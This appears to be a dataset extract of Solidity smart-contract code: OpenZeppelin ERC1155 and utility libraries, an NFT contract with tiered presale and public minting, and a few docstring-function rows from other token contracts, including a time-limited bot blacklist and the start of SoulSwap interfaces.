@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor() {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address account,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] += amount;
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address account,
uint256 id,
uint256 amount
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address account,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
contract CybordMercenariesNFT is ERC1155, Ownable {
string public constant name = "CybordMercenariesNFT";
string public constant symbol = "CM";
using SafeMath for uint256;
using Strings for uint256;
using MerkleProof for bytes32[];
// Contract constants
uint256 public constant BUY_LIMIT_PER_TX = 10;
uint256 private constant MAX_NFT = 8888;
uint256 public constant MAX_NFT_PUBLIC = 8738;
uint256 public constant VIP_NFT_PRICE = 100000000000000000; // VIP price 0.10 ETH
uint256 public constant WHITELIST_NFT_PRICE = 120000000000000000; // Whitelist price 0.12 ETH
uint256 public constant NFTPrice = 150000000000000000; // Public price 0.15 ETH
uint256 public totalSupply = 0;
string private baseURI;
string private blindURI;
bool public reveal = false;
string public contractState = "NOT_ACTIVE"; // Good values : NOT_ACTIF, VIP_SALE, WHITELIST_SALE, RAFFLE_SALE, PUBLIC_SALE
// Presale info
uint256 public constant PRESALE_MAX_MINT = 2;
bytes32 public vipRoot;
bytes32 public whitelistRoot;
bytes32 public raffleRoot;
mapping(address => uint256) private presaleNFTsClaimed;
uint256 public giveawayCount;
/*
* Function to set Base and Blind URI
*/
function setURIs(
string memory _blindURI,
string memory _URI
)
external
onlyOwner
{
blindURI = _blindURI;
baseURI = _URI;
}
/*
* Function to set the whitelist merkle root
*/
function setWhitelistRoot(bytes32 _whitelistRoot) onlyOwner() public {
whitelistRoot = _whitelistRoot;
}
/*
* Function to set the vip merkle root
*/
function setVIPlistRoot(bytes32 _vipRoot) onlyOwner() public {
vipRoot = _vipRoot;
}
/*
* Function to set the vip merkle root
*/
function setRaffleRoot(bytes32 _raffleRoot) onlyOwner() public {
raffleRoot = _raffleRoot;
}
/*
* Function setContractState to change the state of the contract
*/
function setContractState(
string memory _contractState
)
external
onlyOwner
{
require(
(keccak256(abi.encodePacked(_contractState)) == keccak256(abi.encodePacked("NOT_ACTIVE")) ||
keccak256(abi.encodePacked(_contractState)) == keccak256(abi.encodePacked("VIP_SALE")) ||
keccak256(abi.encodePacked(_contractState)) == keccak256(abi.encodePacked("WHITELIST_SALE")) ||
keccak256(abi.encodePacked(_contractState)) == keccak256(abi.encodePacked("RAFFLE_SALE")) ||
keccak256(abi.encodePacked(_contractState)) == keccak256(abi.encodePacked("PUBLIC_SALE"))
)
, 'Provided status is invalid');
contractState = _contractState;
}
/*
* Function to mint new NFTs during the presale
* It is payable. Amount is calculated as per (NFTPrice.mul(_numOfTokens))
*/
function mintNFTDuringPresale(
uint32 _numOfTokens,
bytes32[] memory _proof
)
public
payable
{
require((keccak256(abi.encodePacked(contractState)) == keccak256(abi.encodePacked("VIP_SALE")) || keccak256(abi.encodePacked(contractState)) == keccak256(abi.encodePacked("WHITELIST_SALE"))), 'Presale not active');
require(_numOfTokens <= PRESALE_MAX_MINT, 'Cannot purchase this many tokens during presale');
if (keccak256(abi.encodePacked(contractState)) == keccak256(abi.encodePacked("VIP_SALE")) ) {
require(_proof.verify(vipRoot, keccak256(abi.encodePacked(msg.sender))), "You are not in the VIP list");
require(msg.value >= VIP_NFT_PRICE.mul(_numOfTokens), string(abi.encodePacked("Ether value sent is not correct, must be VIP_NFT_PRICE * _numOfTokens")));
} else {
require(_proof.verify(whitelistRoot, keccak256(abi.encodePacked(msg.sender))), "You are not in the Whitelist list");
require(msg.value >= WHITELIST_NFT_PRICE.mul(_numOfTokens), string(abi.encodePacked("Ether value sent is not correct, must be WHITELIST_NFT_PRICE * _numOfTokens")));
}
require(totalSupply.sub(giveawayCount) < MAX_NFT_PUBLIC, 'All public tokens have been minted');
require(totalSupply.add(_numOfTokens).sub(giveawayCount) <= MAX_NFT_PUBLIC, 'Purchase would exceed max public supply of NFTs');
require(presaleNFTsClaimed[msg.sender].add(_numOfTokens) <= PRESALE_MAX_MINT, 'Purchase exceeds max whiteed');
mint(msg.sender, _numOfTokens);
presaleNFTsClaimed[msg.sender] += _numOfTokens;
}
function mintNFTRaffle(
uint32 _numOfTokens,
bytes32[] memory _proof
)
public
payable
{
require(keccak256(abi.encodePacked(contractState)) == keccak256(abi.encodePacked("RAFFLE_SALE")), 'Raffle not active');
require(
(
_proof.verify(vipRoot, keccak256(abi.encodePacked(msg.sender))) ||
_proof.verify(whitelistRoot, keccak256(abi.encodePacked(msg.sender))) ||
_proof.verify(raffleRoot, keccak256(abi.encodePacked(msg.sender)))
), "You are not in the Raffle authorized list");
require(totalSupply.sub(giveawayCount) < MAX_NFT_PUBLIC, 'All public tokens have been minted');
require(totalSupply.add(_numOfTokens).sub(giveawayCount) <= MAX_NFT_PUBLIC, 'Purchase would exceed max public supply of NFTs');
require(msg.value >= NFTPrice.mul(_numOfTokens), string(abi.encodePacked("Ether value sent is not correct, must be NFTPrice * _numOfTokens")));
mint(msg.sender,_numOfTokens);
}
/*
* Function to mint new NFTs during the public sale
* It is payable. Amount is calculated as per (NFTPrice.mul(_numOfTokens))
*/
function mintNFT(
uint32 _numOfTokens
)
public
payable
{
require(keccak256(abi.encodePacked(contractState)) == keccak256(abi.encodePacked("PUBLIC_SALE")), 'Public sale is not active');
require(_numOfTokens <= BUY_LIMIT_PER_TX, "Cannot mint above limit");
require(totalSupply.add(_numOfTokens).sub(giveawayCount) <= MAX_NFT_PUBLIC, "Purchase would exceed max public supply of NFTs");
require(msg.value >= NFTPrice.mul(_numOfTokens), "Ether value sent is not correct, must be NFTPrice * _numOfTokens");
mint(msg.sender,_numOfTokens);
}
/*
* Function to mint all NFTs for giveaway and partnerships
*/
function mintGiveaway(
address _to,
uint256 _tokenId
)
public
onlyOwner
{
require(_tokenId >= MAX_NFT_PUBLIC, "Tokens number to mint must exceed number of public tokens");
require(_tokenId < MAX_NFT, "Tokens number to mint cannot exceed number of MAX tokens");
_mint(_to, _tokenId, 1, "");
giveawayCount=giveawayCount.add(1);
}
/*
* Function to reveal / hide all NFTs
*/
function setReveal(bool _reveal)
external
onlyOwner
{
reveal = _reveal;
}
/*
* Function to mint NFTs
*/
function mint(address to, uint32 count) internal {
if (count > 1) {
uint256[] memory ids = new uint256[](uint256(count));
uint256[] memory amounts = new uint256[](uint256(count));
for (uint32 i = 0; i < count; i++) {
ids[i] = totalSupply + i;
amounts[i] = 1;
}
_mintBatch(to, ids, amounts, "");
} else {
_mint(to, totalSupply, 1, "");
}
totalSupply += count;
}
/*
* Function to withdraw collected amount during minting by the owner
*/
function withdraw(
address _to
)
public
onlyOwner
{
uint balance = address(this).balance;
require(balance > 0, "Balance should be more then zero");
payable(_to).transfer(balance);
}
/*
* Function to get token URI of given token ID
* URI will be blank untill totalSupply reaches MAX_NFT_PUBLIC
*/
function uri(
uint256 _tokenId
)
public
view
virtual
override
returns (string memory)
{
if (!reveal) {
return string(abi.encodePacked(blindURI));
} else {
return string(abi.encodePacked(baseURI, _tokenId.toString(), '.json'));
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
|
Function to set the whitelist merkle root/
|
function setWhitelistRoot(bytes32 _whitelistRoot) onlyOwner() public {
whitelistRoot = _whitelistRoot;
}
| 13,532,395
|
./full_match/1/0x4D2B9cC5072B2F812e0DACC0bCd169C6A0cf40b2/sources/contracts/Organic.sol
|
Cannot set bots after 30 minutes of launch time to ensure contract is SAFU without renounce as well
|
function setBots(address[] memory bots_) public onlyOwner {
if (block.timestamp < _launchTime + (30 minutes)) {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
}
| 4,986,173
|
/**
*Submitted for verification at Etherscan.io on 2022-02-19
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
// File: contracts/interfaces/ISoulSwapFactory.sol
interface ISoulSwapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
event SetFeeTo(address indexed user, address indexed _feeTo);
event SetMigrator(address indexed user, address indexed _migrator);
event FeeToSetter(address indexed user, address indexed feeToSetter);
function feeTo() external view returns (address _feeTo);
function feeToSetter() external view returns (address _fee);
function migrator() external view returns (address _migrator);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setMigrator(address) external;
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/ISoulSwapERC20.sol
pragma solidity >=0.5.0;
interface ISoulSwapERC20 {
